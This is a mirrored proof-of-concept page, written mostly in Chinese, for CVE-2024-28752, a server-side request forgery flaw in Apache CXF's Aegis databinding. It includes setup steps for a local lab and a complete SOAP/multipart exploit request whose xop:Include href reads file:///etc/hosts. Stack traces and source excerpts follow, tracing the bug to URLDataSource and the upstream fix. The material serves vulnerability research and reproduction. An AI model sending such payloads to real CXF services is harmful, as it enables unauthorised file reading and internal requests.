Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-28752 PoC — Apache CXF SSRF Vulnerability using the Aegis databinding

Source
Associated Vulnerability
Title:Apache CXF SSRF Vulnerability using the Aegis databinding (CVE-2024-28752)
Description:A SSRF vulnerability using the Aegis DataBinding in versions of Apache CXF before 4.0.4, 3.6.3 and 3.5.8 allows an attacker to perform SSRF style attacks on webservices that take at least one parameter of any type. Users of other data bindings (including the default databinding) are not impacted.
Description
Apache CXF SSRF CVE-2024-28752
Readme
## Apache CXF CVE-2024-28752 复现环境

> 漏洞公告:https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt

### 环境启动

> [samples/java_first_jaxws_factory_bean](https://github.com/apache/cxf/tree/main/distribution/src/main/release/samples/java_first_jaxws_factory_bean)

#### IDEA

通过 [ServerStarter.java](./src/main/java/ServerStarter.java) 启动 webservice 服务

#### 构建

> 使用 JDK8

```bash
mvn clean package

java -jar target/cxf.jar
```

### 漏洞利用

使用 BurpSuite 发送如下请求即可触发。

```http request
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/related; boundary=----kkkkkk123123213
Content-Length: 472
Connection: close

------kkkkkk123123213
Content-Disposition: form-data; name="1"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
   <soapenv:Header/>
   <soapenv:Body>
      <web:test>
         <arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/hosts"></xop:Include></count>
</arg0>
      </web:test>
   </soapenv:Body>
</soapenv:Envelope>
------kkkkkk123123213--

```

![burp.png](./asserts/burp.png)

### 漏洞分析

以下是文件读取的堆栈,xop:Include 标签是由 MTOMDecorator 这个类来解析的。

```text
<init>:93, FileInputStream (java.io)
connect:90, FileURLConnection (sun.net.www.protocol.file)
getInputStream:188, FileURLConnection (sun.net.www.protocol.file)
openStream:1092, URL (java.net)
getInputStream:107, URLDataSource (javax.activation)
get:181, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
length:212, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
_parseInt:94, DatatypeConverterImpl (com.sun.xml.internal.bind)
parse:725, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
parse:723, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
text:54, TextLoader (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
text:572, UnmarshallingContext (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
startElement:92, MTOMDecorator (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
handleStartElement:231, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
bridge:165, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal0:400, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal:379, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
doUnmarshal:887, JAXBEncoderDecoder (org.apache.cxf.jaxb)
access$200:103, JAXBEncoderDecoder (org.apache.cxf.jaxb)
run:926, JAXBEncoderDecoder$3 (org.apache.cxf.jaxb)
doPrivileged:-1, AccessController (java.security)
unmarshall:924, JAXBEncoderDecoder (org.apache.cxf.jaxb)
unmarshall:744, JAXBEncoderDecoder (org.apache.cxf.jaxb)
read:172, DataReaderImpl (org.apache.cxf.jaxb.io)
handleMessage:109, DocLiteralInInterceptor (org.apache.cxf.wsdl.interceptors)
doIntercept:308, PhaseInterceptorChain (org.apache.cxf.phase)
onMessage:121, ChainInitiationObserver (org.apache.cxf.transport)
```

href 内容是由 AttachmentUnmarshaller 这个类进行处理。

```java
class MTOMDecorator implements XmlVisitor {
    public void startElement(TagName tagName) throws SAXException {
        if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
            String href = tagName.atts.getValue("href");
            DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
            if (attachment == null) {
                this.parent.getEventHandler().handleEvent((ValidationEvent) null);
            }

            this.base64data.set(attachment);
            this.next.text(this.base64data);
            this.inXopInclude = true;
            this.followXop = true;
        } else {
            this.next.startElement(tagName);
        }
    }
}
```

AttachmentUnmarshaller 默认实现类为 `com.sun.xml.internal.ws.message.AttachmentUnmarshallerImpl`,其只处理当前
attachments 中有的内容。

```java
public final class AttachmentUnmarshallerImpl extends AttachmentUnmarshaller {

    public DataHandler getAttachmentAsDataHandler(String cid) {
        Attachment a = this.attachments.get(this.stripScheme(cid));
        if (a == null) {
            throw new WebServiceException(EncodingMessages.NO_SUCH_CONTENT_ID(cid));
        } else {
            return a.asDataHandler();
        }
    }

    private String stripScheme(String cid) {
        if (cid.startsWith("cid:")) {
            cid = cid.substring(4);
        }

        return cid;
    }
}
```

而在 Apache CXF 中,实现类为 `org.apache.cxf.jaxb.attachment.JAXBAttachmentUnmarshaller`,扩展了这部分的实现。

`file:///` 或是 `http://xxx` 这种常见 SSRF payload 将会初始化一个 URLDataSource。官方的修复方案也是在此处
[apache/cxf@659a8](https://github.com/apache/cxf/commit/659a8f9b10bc8037774c0399e61e77e3955fd230)

```java
public final class AttachmentUtil {
    public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
        if (contentId.startsWith("cid:")) {
            try {
                contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
            } catch (UnsupportedEncodingException var3) {
                contentId = contentId.substring(4);
            }
            return loadDataSource(contentId, atts);
        } else if (contentId.indexOf("://") == -1) {
            return loadDataSource(contentId, atts);
        } else {
            try {
                return new URLDataSource(new URL(contentId));
            } catch (MalformedURLException e) {
                throw new Fault(e);
            }
        }
    }
}

public class URLDataSource implements DataSource {
    public InputStream getInputStream() throws IOException {
        return this.url.openStream();
    }
}
```

最后 Base64Data 会调用 getInputStream 触发 url.openStream() 来读取数据并使用 Base64 格式编码传输。

```java
public final class Base64Data extends Pcdata {
    public byte[] get() {
        if (this.data == null) {
            try {
                ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
                InputStream is = this.dataHandler.getDataSource().getInputStream();
                baos.readFrom(is);
                is.close();
                this.data = baos.getBuffer();
                this.dataLen = baos.size();
            } catch (IOException var3) {
                this.dataLen = 0;
            }
        }

        return this.data;
    }

    public void writeTo(char[] buf, int start) {
        this.get();
        DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, buf, start);
    }

    public void writeTo(UTF8XmlOutput output) throws IOException {
        this.get();
        output.text(this.data, this.dataLen);
    }

    public void writeTo(XMLStreamWriter output) throws IOException, XMLStreamException {
        this.get();
        DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, output);
    }
}
```
File Snapshot

[4.0K] /data/pocs/39226d314f59446c0b6d67a5ef3a26824d8b82ed ├── [4.0K] asserts │   └── [142K] burp.png ├── [ 176] Dockerfile ├── [2.8K] pom.xml ├── [7.1K] README.md └── [4.0K] src └── [4.0K] main └── [4.0K] java ├── [ 723] Model.java ├── [ 530] ServerStarter.java ├── [ 133] TestImpl.java └── [ 159] Test.java 4 directories, 8 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →